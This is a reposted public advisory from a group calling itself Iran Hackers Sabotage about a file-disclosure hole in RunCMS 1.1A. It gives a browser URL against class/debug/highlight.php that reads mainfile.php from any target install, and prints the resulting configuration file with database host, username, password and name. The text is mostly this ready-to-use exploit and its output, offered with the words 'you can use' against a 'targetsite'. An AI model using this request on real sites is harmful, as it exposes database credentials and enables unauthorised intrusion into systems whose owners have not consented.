[转载]runcms highlight.php hole

  信息来源：NT NT ihsteam com

IHS Iran Hackers Sabotage Public advisory
If You Have RUNCMS Installation Address You Can Use highligh.php Hole
And Get DataBase Configuration(Name,User,Password)
Tested In RUNCMS 1.1A
-------------------------------------------
Input This Line To Your Browser AddressBar :

http://targetsite/runcmsinstalation/class/debug/highlight.php?
file=runcmsinstallationpath\mainfile.php&line=151#151

Like This :

http://localhost/runcms/class/debug/highlight.php?
file=c:\phpdev\www\runcms\mainfile.php&line=151#151

You See This Result :

1 <?php
2 // -------------------------------------------------------------------
------ //
3 // E-Xoops: Content Management for the
Masses //
4 // < http://www.e-xoops.com
> //
5 // -------------------------------------------------------------------
------ //
6
7 if ( !defined(&#39;XOOPS_MAINFILE_INCLUDED&#39;) ) {
8 define(&#39;XOOPS_MAINFILE_INCLUDED&#39;, 1);
9
10 // Physical Path
11 // Physical path to your main RUNCMS directory WITHOUT trailing
slash. ( On windows use simple forward slashes & be sure to include the
drive letter. c:/myfolder )
12 define(&#39;XOOPS_ROOT_PATH&#39;, &#39;c:/phpdev/www/runcms1.1&#39;);
13
14 // Virtual Path (URL)
15 // Virtual path to your main RUNCMS directory WITHOUT trailing
slash. ( http://www.mysite.com/myfolder )
16 define(&#39;XOOPS_URL&#39;, &#39;http://localhost/runcms1.1&#39;);
17
18 // Database
19 // Choose the type of database to be used.
20 $xoopsConfig[&#39;database&#39;] = &#39;mysql&#39;;
21
22 // Table Prefix
23 // This prefix will be added to all new tables created to avoid
name conflict in the database. If you are unsure, just use the
default &#39;runcms&#39;.
24 $xoopsConfig[&#39;prefix&#39;] = &#39;runcms&#39;;
25
26 // Database Hostname
27 // Hostname of the database server. ( If you are
unsure, &#39;localhost&#39; works in most cases. )
28 $xoopsConfig[&#39;dbhost&#39;] = &#39;localhost&#39;;
29
30 // Database Username
31 // Your database user account on the host. ( Often root when
installed on your local machine. )
32 $xoopsConfig[&#39;dbuname&#39;] = &#39;root&#39;;
33
34 // Database Password
35 // Password for your database user account.
36 $xoopsConfig[&#39;dbpass&#39;] = &#39;&#39;;
37
38 // Database Name
39 // The name of database on the host. The installer will attempt
to create the database if not exist.
40 $xoopsConfig[&#39;dbname&#39;] = &#39;aaa&#39;;
41
42 // Use persistent connection? (Yes=1 No=0)
43 // Default is &#39;No&#39;. Choose &#39;No&#39; if you are unsure.
44 $xoopsConfig[&#39;db_pconnect&#39;] = 0;
45
46 // Default setup language.
47 $xoopsConfig[&#39;default_language&#39;] = &#39;english&#39;;
48
49 include_once(XOOPS_ROOT_PATH.&#39;/include/common.php&#39;);
50 }
?>



------------------------------------------

More Information See:
http://www.ihsteam.com/cms/modules/mydownloads/visit.php?lid=12

Source Advisory :
http://www.ihsteam.com/cms/modules/mydownloads/visit.php?lid=14

Found By NT(IHS)
NT IHSTeam com
Greet To Lord And C0d3r From IHS.
www.IHSTeam.com